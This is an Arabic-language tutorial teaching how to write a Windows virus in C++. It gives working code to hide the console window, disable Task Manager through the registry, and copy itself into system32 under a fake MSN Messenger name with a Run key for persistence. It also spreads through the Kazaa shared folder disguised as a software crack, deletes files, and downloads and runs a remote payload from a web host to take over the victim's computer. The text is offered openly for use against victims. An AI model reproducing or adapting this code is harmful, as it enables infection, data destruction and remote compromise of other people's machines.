بسم الله الرحمن الرحيم
هذا درس لعمل فايروس في ++C
اول شيي قبل لا نبدأ بكتابة الاكوااد نكتب
كود:
#include<windows.h>هذا لتعريف مكتبة windows.h علشاان نقدر نستخدم دواال copy وو remove وو غييرة
وو بعديين بديايه البرنامج
كود:
Int main ( )
{
Return 0
}
الحيين انا بغينا نكتب ايي كوود نكتبة بيين { }
اول شيي نكتب كوود اخفااء ال window يعنيي اول ما الضحية يفتح الفايروس تختفي النافذة
كود:
AllocConsole();
r = FindWindowA("ConsoleWindowClass",NULL);
ShowWindow (r,0);
هذا كوود اخفااء النافذة
وو ثانياا مثلا انت عملت الفايروس وو ارسلته حق الضحية .. اكييد الضحية بشك وو بعرف ان فيي شيي يصيير في الجهااز وو بيرووح وو بيضغط alt + ctrl + del علشاان يعمل للفايروس end task وو احنى الحيين بنقووم بأبطاال ال alt + ctrl + del من الرجستريي
كود:
HKEY hKey;
unsigned char reg[2] = "1";
RegCreateKey(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Poli cies\\system",&hKey);
RegSetValueEx(hKey,"disabletaskmgr",0,REG_DWORD,reg,sizeof(reg));
RegCloseKey(hKey);
في البداية نعرف المتغير hkey وو نكتب HKEY hKey او تقدر تكتب ايي شيي بدل hKey تقدر حتى تخليي اسمك عاادي
وو بعديين نعرف متغير اخر وو نعطييه قيمة 1 وو بعديين بتعرفوون لييش عطيناه قيمة 1
و الحيين نحتااج الى اضافة مفتااح في الرجستري يقووم بأبطال alt + ctrl + del وو اول شيي نكتب الكوود
كود:
RegCreateKey(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Poli cies\\system",&hKey);
وو بعديين نكتب كوود لأضافة value او قيمة في المفتاح system
كود:
RegSetValueEx(hKey,"disabletaskmgr",0,REG_DWORD,reg,sizeof(reg));
هذا الكوود يقووم بكتابة value اسمة disabletaskmgr وو هذه القيمة تقووم بأبطاال alt + ctrl + del وو قمناا بأضافة reg علشاان يعطيي value disabletaskmgr قيمة 1 علشااان يشتغل الكوود وو اذا كتبت 0 ما بيصيير شيي
وو الحيين سوف نقووم بكتابة كوود يقووم بتشغييل الفايروس كل ما اشتغل الكمبيوتر من الرجستريي يعنيي نخليي الفايروس في startup
كود:
char windir[MAX_PATH];
HKEY hKey2;
char pathname[256];
GetWindowsDirectory(windir, sizeof(windir));
HMODULE gMh = GetModuleHandle(0);
GetModuleFileName(gMh, pathname, 256);
strcat(windir, "\\system32\\msnmsgr.exe");
CopyFile(pathname,windir,0);
unsigned char omg[45] = "C:\\Windows\\System32\\msnmsgr.exe";
if(RegOpenKeyEx( HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey2 )==EXIT_SUCCESS)
{
RegSetValueEx(hKey2, "MSN Massenger",0,REG_SZ,omg,sizeof(omg));
RegCloseKey(hKey2);
}
else
{
RegOpenKeyEx( HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey2 );
RegSetValueEx(hKey2, "MSN Massenger",0,REG_SZ,omg,sizeof(omg));
RegCloseKey(hKey2);
}
سوف اقووم بشرح سريع عن الكوود لان الكود طوييل شويي
او شيي الكوود يقووم بنسخ الفايروس في system وو بعديين بشووف في الرجستريي اذا هذا المساار موجوود
HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\ CurrentVersion\\Run
وو اذا موجوود يقووم بعمل value يقووم بتشغييل الفايروس اليي نسخة في السييتم وو اذا المساار مو موجوود في الرجستريي يقووم بعمل value في هذا المسار
HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\C urrentVersion\\Run
وو الحيين بنقووم بعمل كوود يقووم بنسخ الفايروس في الاماكن الي احنااا نحددها مثلا نسخ الفايروس في D علشاان اذا عمل فورماات لل C في نسخة للفايروس في ال D
كود:
char path[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);
GetModuleFileName(GetModH, path, 255);
CopyFile(path,"D:\\ virus.exe",FALSE);
وو انت تقدر تعمل كوود اخر مثلا ينسخ في windows او system او اي مكاان انت تختاره فقط غيير في
CopyFile(path,"D:\\ virus.exe",FALSE);
غيير فقط مساار الفايروس D:\\virus.exe بس اذا بغيتة ينسخ في السيستم مثلا C:\\windows\system32
تكتب الكوود بهذا الشكل
CopyFile(path," C:\\windows\\system32\\virus.exe ",FALSE);
تضييف \ اخر بل ما كاان C:\\windows\system32 صاار C:\\windows\\system32 زيدناا \
وو اذا بغييتواا تنسخوون في اكثر من مثل فقط كتبواا CopyFile(path,"D:\\ virus.exe",FALSE); يعنيي ما يحتااج تكرروا
char path[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);
GetModuleFileName(GetModH, path, 255);
لان هذي فقط تعرييف للمتغيرات يعنيي تكتب
كود:
CopyFile(path," C:\\windows\\system32\\virus.exe ",FALSE);
CopyFile(path," C:\\windows\\system32\\virus.exe",FALSE);
مع تغيير C:\\windows\\system32 الى مكاان نسخ الفايروس
وصلناا الى انتشاار الفايروس عن طرييق P2P مثلا انتشارة عن طرييق برامج KAZA وو IMESH وو غيرة وو سوف اشرح انتشارة بكوود سهل
استخدم نفس امر ال copy الي استخدمنااه قبل شويي بس ينسخ نفسة في فولدر البرنامج مثلا
CopyFile(path,"C:\\Program Files\\Kazaa\\my Shared Folder\\Adobe Acrobat Reader crack.exe",FALSE);
هذا الكوود يقووم بنسخ الفايروس في الكازاا وو انت وو فنك في اختياار الاسمااء مثلا انسخ 10 او 20 ملف بأكثر من اسم
وو طرق اخرى اقوى من هذه الطريقة بس لن اتطرق لها لانهاا شوييه طويلة وو معقدة مثلا البحث في السيي عن ايي ملف يحتويي على اسم shar او download وو نسخ الفايروس فييه وو هذا الكوود قويي في الانتشاار وو الفايروس بينتشر اكثر وو اقوى بس فييه عييب ان بيبطأ الفايروس كثيير لان بيبحث في كل الفولدراات الموجودة في السيي وو اذا فييه كلمة shar يعنيي اسم الفولدر فييه shar او download بينسخ الفايروس فييه وو في كوود اخر شوي اسهل منة وو اسرع بكثيير هيي نشر الفايروس عن طرييق الرجستريي في ملفات البرامج..
وو الحيين وصلناا الى اخر نقطة في الفايروس و هيي امر الحذف وو المفضل عند الكل
امر الحذف اسهل من النسخ بكثيير فقط كوود واحد
كود:
remove( "C:\\ a.exe");
فقط اكتب remove (" ") و بيين " " اكتب مساار الملف المرااد حذفة بس لا سنسى اذا كاان مساار الملف مثلا C:\window\system اضف \ وو بيصيير C:\\windows\\system\\a.exe
وو اخر شيي كوود اضاافي مثلا انت بغييت تنزل باتش وو تشغلة في كمبيوتر الضحية نفس ال downloader يعنيي تشغل الفايروس وو بعديين تخترق كمبيوترة .. اول شيي ارف اي باتش على اي موقع بعديين اكتب الكوود
كود:
HRESULT hResult = URLDownloadToFile (NULL, "http://www.site.com/patch.exe","C:\\WINDOWS\\system32\\1.exe", 0, NULL);
كود:
ShellExecute(NULL,"open","C:\\1.EXE",NULL,NULL,SW_SHOWNORMAL);
مع تغيير C:\\1.EXE الى مساار الباتج اليي حددنااه في تحمييل الباتش
وو الحيين انت وو فنك في عمل الفايروس ينتشر بطرق اخرى او عمل اشيااء اخرى فقط فكر وو طبق وو لا تقوول هذا صعب او ما اقدر اسوييه ترى كل شيي سهل وو اذا واجهتك اي مشكلة ابحث عن الحل في قوقل او اسأل بس اهم شيي لا تيأس وو هكذا انتهيناا من شرح طريقة عمل فايروس بال C++ وو انشااء الله الشرح عجبكم وو